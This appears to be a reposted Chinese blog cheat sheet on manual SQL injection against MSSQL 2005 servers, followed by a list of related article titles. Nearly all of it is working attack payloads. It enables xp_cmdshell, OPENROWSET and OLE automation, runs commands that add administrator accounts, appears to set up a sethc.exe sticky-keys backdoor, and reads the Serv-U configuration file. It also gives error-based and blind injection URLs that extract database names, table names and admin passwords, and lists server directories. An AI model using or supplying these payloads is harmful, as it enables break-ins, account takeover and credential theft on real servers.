1.开启xp_cmdshell

EXEC sp_configure ’show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;–

关闭xp_cmdshell
EXEC sp_configure ’show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 0;RECONFIGURE;–

dbcc addextendedproc(”xp_cmdshell”,”xplog70.dll”);–
(添加xplog70.dll)

2.开启’OPENROWSET’
exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure ‘Ad Hoc Distributed Queries’,1;RECONFIGURE;–

查询分析器里执行select * from openrowset(’microsoft.jet.oledb.4.0′,’
;database=c:\windows\system32\ias\ias.mdb’,
’select shell(”cmd.exe /c net user admin admin1234 /add”)’)来利用沙盘来添加个管理员

3.开启’sp_oacreate’
exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure ‘Ole Automation Procedures’,1;RECONFIGURE;–

拷贝文件d:\windows\explorer.exe 至sethc.exe
declare @o int;exec sp_oacreate ’scripting.filesystemobject’, @o out ;exec sp_oamethod @o, ‘copyfile’,null,’d:\windows\explorer.exe’ ,’c:\sethc.exe’;

在查询分析器里执行
DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD
@shell,’run’,null, ‘C:\WINdows\system32\cmd.exe /c net user xcode xcode /add’
这段代码就是利用SP_OAcreate来添加一个xcode的系统用户 然后直接提升为管理员权限

declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate ’scripting.filesystemobject’, @o out
exec sp_oamethod @o, ‘opentextfile’, @f out, ‘d:\Serv-U6.3\ServUDaemon.ini’, 1
exec @ret = sp_oamethod @f, ‘readline’, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, ‘readline’, @line out
end
这段代码就可以把ServUDaemon.ini里的配置信息全部显示出来

二.有显错,暴。

and 0<(select count(*) from master.dbo.sysdatabases);--折半法得到数据库个数

and 0<(select count(*) from master.dbo.sysdatabases where name>1 and dbid=1);–依次提交 dbid = 2.3.4… 得到更多的数据库名

and 0<(select count(*) name from employ.dbo.sysobjects where xtype='U');--折半法得到表个数(假设暴出库名employ)

and 0<(select top 1 name from employ.dbo.sysobjects where xtype='U');--爆出一个表名

假设暴出表名为"employ_qj"则在上面语句上加条件 and name not in ('employ_qj' 以此一直加条件...

and 0<(select top 1 name from syscolumns where id in (select id from sysobjects where type = 'u' and name = 'employ_qj'));--爆出一个列名

假设暴出字段名为"id"则在上面语句上加上条件 and name not is('id') 以此一直加条件....

或者

爆库语句
and (select top 1 isnull(cast([name] as nvarchar(500)),char(32))+char(124) from [master].[dbo].[sysdatabases] where dbid in (select top N dbid from [master].[dbo].[sysdatabases] order by dbid desc))=0--

爆表语句,somedb部份是所要列的数据库
and (select top 1 cast(name as varchar(200)) from (select top N name from somedb.sys.all_objects where type=char(85) order by name) t order by name desc)=0--

爆字段语句,爆表admin里user='admin'的密码段
And (Select Top 1 isNull(cast([password] as varchar(2000)),char(32))+char(124) From (Select Top N [password] From [somedb]..[admin] Where user='admin' order by [password]) T order by [password]Desc)=0--

三.无显错,盲注。

先说下SQL2005中的查询方法

select * from master.dbo.sysdatabases --查询数据库

select * from NetBook.dbo.sysobjects where xtype='u' --查询数据库NetBook里的表

select * from NetBook.dbo.syscolumns where id=object_id('book') --查询book表里的字段

判断权限:
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
and 1=(select IS_SRVROLEMEMBER('serveradmin'))
and 1=(select IS_SRVROLEMEMBER('setupadmin'))
and 1=(select IS_SRVROLEMEMBER('securityadmin'))
and 1=(select IS_SRVROLEMEMBER('diskadmin'))
and 1=(select IS_SRVROLEMEMBER('bulkadmin'))
and 1=(select IS_SRVROLEMEMBER('db_owner'))

盲注常规步骤:

判断库是否确实为MSSQL2005:
http://www.oldjun.com/oldjun.aspx?id=1 and substring((select @@version),22,4)='2005'

猜数据库名:

先猜dbid:
http://www.oldjun.com/oldjun.aspx?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=5)=1
根据dbid猜库名,先猜出长度:
http://www.oldjun.com/oldjun.aspx?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=5 and len(name)=12)=1
再逐位猜:
http://www.oldjun.com/oldjun.aspx?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=5 and ascii(substring(name,1,1))>90)=1

猜表名(假设库名已经猜出为database):

可以尝试先看有没管理表:
http://www.oldjun.com/oldjun.aspx?id=1 and (select count(*) from database.dbo.sysobjects where xtype=’u’ and name like ‘%admin%’)=1

猜第一个,先长度:
http://www.oldjun.com/oldjun.aspx?id=1 and (select count(*) from database.dbo.sysobjects where name in (select top 1 name from database.dbo.sysobjects where xtype=’u') and len(name)=9)=1
猜第一个表名,逐位猜:
http://www.oldjun.com/oldjun.aspx?id=1 and (select count(*) from database.dbo.sysobjects where name in (select top 1 name from database.dbo.sysobjects where xtype=’u') and ascii(substring(name,1,1))>90)=1
猜第二个表名(假设第一个为table1):
http://www.oldjun.com/oldjun.aspx?id=1 and (select count(*) from database.dbo.sysobjects where name in (select top 1 name from database.dbo.sysobjects where xtype=’u’ and name not in (’table1′)) and ascii(substring(name,1,1))>90)=1

猜字段(假设表名已经猜出为table):

猜第一个字段:
http://www.oldjun.com/oldjun.aspx?id=1 and (select count(*) from database.dbo.syscolumns where name in (select top 1 name from database_db.dbo.syscolumns where id=object_id(’database.dbo.table’)) and ascii(substring(name,1,1))>90)=1
猜第二个(假设第一个为column1)
http://www.oldjun.com/oldjun.aspx?id=1 and (select count(*) from database.dbo.syscolumns where name in (select top 1 name from database_db.dbo.syscolumns where id=object_id(’database.dbo.table’) and name not in (’column1′)) and ascii(substring(name,1,1))>90)=1

猜数据(假设要猜的字段为name):

http://www.oldjun.com/oldjun.aspx?id=1 and (select count(*) from database.dbo.table where name in (select top 1 name from database_db.dbo.table) and ascii(substring(name,1,1))>90)=1

四.其他一些语句(列目录)

1.查看驱动器

建表p(i为自动编号,a记录盘符类似”c:\”,b记录可用字节,其它省略)
;create table p(i int identity(1,1),a nvarchar(255),b nvarchar(255),c nvarchar(255),d nvarchar(255));–

;insert p exec xp_availablemedia;–列出所有驱动器并插入表p

and (select count(*) from p)>3;–折半法查出驱动器总数

and ascii(substring((select a from p where i=1),1,1))=67;–折半法查出驱动器名(注asc(c)=67)
上面一般用于无显错情况下使用——-以此类推,得到所有驱动器名

and (select a from p where i=1)>3;–报错得到第一个驱动器名
上面一般用于显错情况下使用——-以此类推,得到所有驱动器名

;drop table p;–删除表p

2.查看目录

;create table pa(m nvarchar(255),i nvarchar(255));–建表pa(m记录目录,i记录深度)\

;insert pa exec xp_dirtree ‘e:’;–列出驱动器e并插入表pa

and (select count(*) from pa where i>0)>-1;–折半法查出i深度

and (select top 1 m from pa where i=1 and m not in(select top 0 m from pa))>0;–报错得到深度i=1的第一个目录名
上面一般用显错且目录名不为数字情况下使用——-(得到第二个目录把”top 0″换为”top 1″,换深度只换i就行)以此类推,得到e盘的所有目录

and len((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)))>0;–折半法查出深度i=1的第一个目录名的长度
and ascii(substring((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)),1,1))>0;–折半法查出深度i=1的第一个目录名的第一个字符长度
上面一般用无显错情况下使用——-(得到第二个目录把”top 0″换为”top 1″,换深度只换i就行)以此类推,得到e盘的所有目录

;drop table pa;–删除表pa

经过上面的方法就可得到服务器所有目录(这里为连接用户有读取权限目录)

转载于:https://blog.51cto.com/mrsun/196350

MSSQL2005 手工盲注详解相关推荐

  1. MSSQL2005 手工盲注 总结

    好多人贴了2005注入语句,基本是显错模式的,如果显错,很多工具还是可以用的:但盲注,工具貌似就不咋地了,pangolin注不了2005,其他2005注入的注入工具对于盲注貌似也很感冒:网上没几个盲注 ...

  2. SQL注入学习——时间盲注详解 sqli-labs(Less 9)

    文章目录 前言: 一.基础知识 1.时间盲注简介: 2.时间盲注常用的函数: 二.Less9 基于时间的单引号盲注 1.判断数据库名的长度: 2.猜测数据库: 3.判断表名的长度 4.猜测 secur ...

  3. SQL注入学习——Bool盲注详解 sqli-labs(Less 8)

    文章目录 前言: 一.Bool盲注常用的函数: 二.Less8 布尔型单引号GET盲注 1.查数据库版本 2.猜解数据库的长度 3.猜数据库名字 4.猜解表名 5.猜解字段名 6.猜解数据 三.脚本注 ...

  4. mysql基于时间盲注_MYSQL基于时间的盲注详解

    MYSQL基于时间的盲注 联合查询,报错注入,以及布尔盲注,都是基于攻击网站会回显消息,或者将错误信息返回在前端,或者会返回web页面的正确或错误 但是有时候网站关闭了错误回显或过滤了某些关键字,网页 ...

  5. Blind SQL injection:盲注详解

    什么是盲注? 当应用程序易受SQL注入攻击,但其HTTP响应不包含相关SQL查询的结果或任何数据库错误的详细信息时,就会出现盲SQL注入. 对于盲目SQL注入漏洞,许多技术(如联合攻击)都是无效的,因 ...

  6. responseentity 详解_大六壬毕法赋精注详解(1)【六壬】

    大六壬<毕法赋>精注详解(1)大六壬"毕法赋"(上) 前后引从升迁吉,首尾相见始终宜.帘幕贵人高甲第,催官使者赴官期. 六阳数足须公用,六阴相继尽昏迷.旺禄临身徒妄作, ...

  7. mysql 盲注_mysql简略手工盲注技能

    mysql简略手工盲注技能 申明:固然网上对于mysql手工盲注的材料良多 然而大多都是大篇幅 语句极其庞杂 学习盲注前先懂得下 IFORMATION_SCHEMA 库 Mysql5内置的系统数据库I ...

  8. 墨者学院布尔盲注(超详细手工和工具)

    墨者学院的在线靶场中sql注入漏洞测试(布尔盲注),因为不管是时间盲注还是布尔盲注手工的话都需要大量的经历和时间来完成,正好自己最近在学习sql注入的盲注,就决定用手工做一次盲注的测试,以便于对sql ...

  9. 布尔盲注怎么用,一看你就明白了。布尔盲注原理+步骤+实战教程

    「作者主页」:士别三日wyx 「作者简介」:CSDN top100.阿里云博客专家.华为云享专家.网络安全领域优质创作者 「专栏简介」:此文章已录入专栏<网络安全快速入门> 布尔盲注 一. ...

最新文章

  1. stm32的rxne和idle中断_HAL库的STM32F767的DMA通过IDLE中断接收数据但不能访问
  2. 65个免费和高质量的纹理包
  3. storyboard 如何用代码调用
  4. Linux中常见服务对应的端口号
  5. linux软件证券,linux
  6. Java RandomAccessFile seek()方法与示例
  7. linux cmake变量,linux – CMake错误:此项目中使用了以下变量,但它们设置为NOTFOUND...
  8. ubuntu 16.04: 添加字体
  9. Devexpress 10.1.6 源代码重新编译成功(DXperience 10.1.6 重新编译)附所有需要用到的资源下载地址 (收藏)...
  10. clover写入efi_黑苹果安装核心文件-四叶草引导Clover EFI 配置文件结构讲解
  11. Lottie - 实现 AE 动效(Bodymovin)
  12. Android 隐藏APP图标
  13. 【闲趣】如何用C语言画出一棵圣诞树
  14. Intellij IDEA 启动 Spring boot 项目在Run中启动没问题 ,Debug启动缓慢卡住 解决方式
  15. el-form 表单的校验
  16. scale-free
  17. 小白如何选择采集器-爬虫
  18. spring开发_邮箱注册_激活_获取验证码
  19. 计算机音乐大全集,计算器音乐合集
  20. python中使用ffmpeg进行视频指定时长截断(解决剪切后音视频不同步的问题)

热门文章

  1. 4.性能下降原因和常见的Join查询
  2. 中国安防视频监控行业发展前景分析
  3. 新工作总结之权限系统设计
  4. mysql损坏表修复
  5. 导出Windows服务器下的Oracle数据库并导入到Linux服务器下的Oracle数据库中
  6. 一个小程序引发的思考
  7. 字符串子串去重之后的个数
  8. java三大特性:封装、继承、多态
  9. BZOJ5329: [SDOI2018]战略游戏——题解
  10. What's going to be? 2016-Oct-12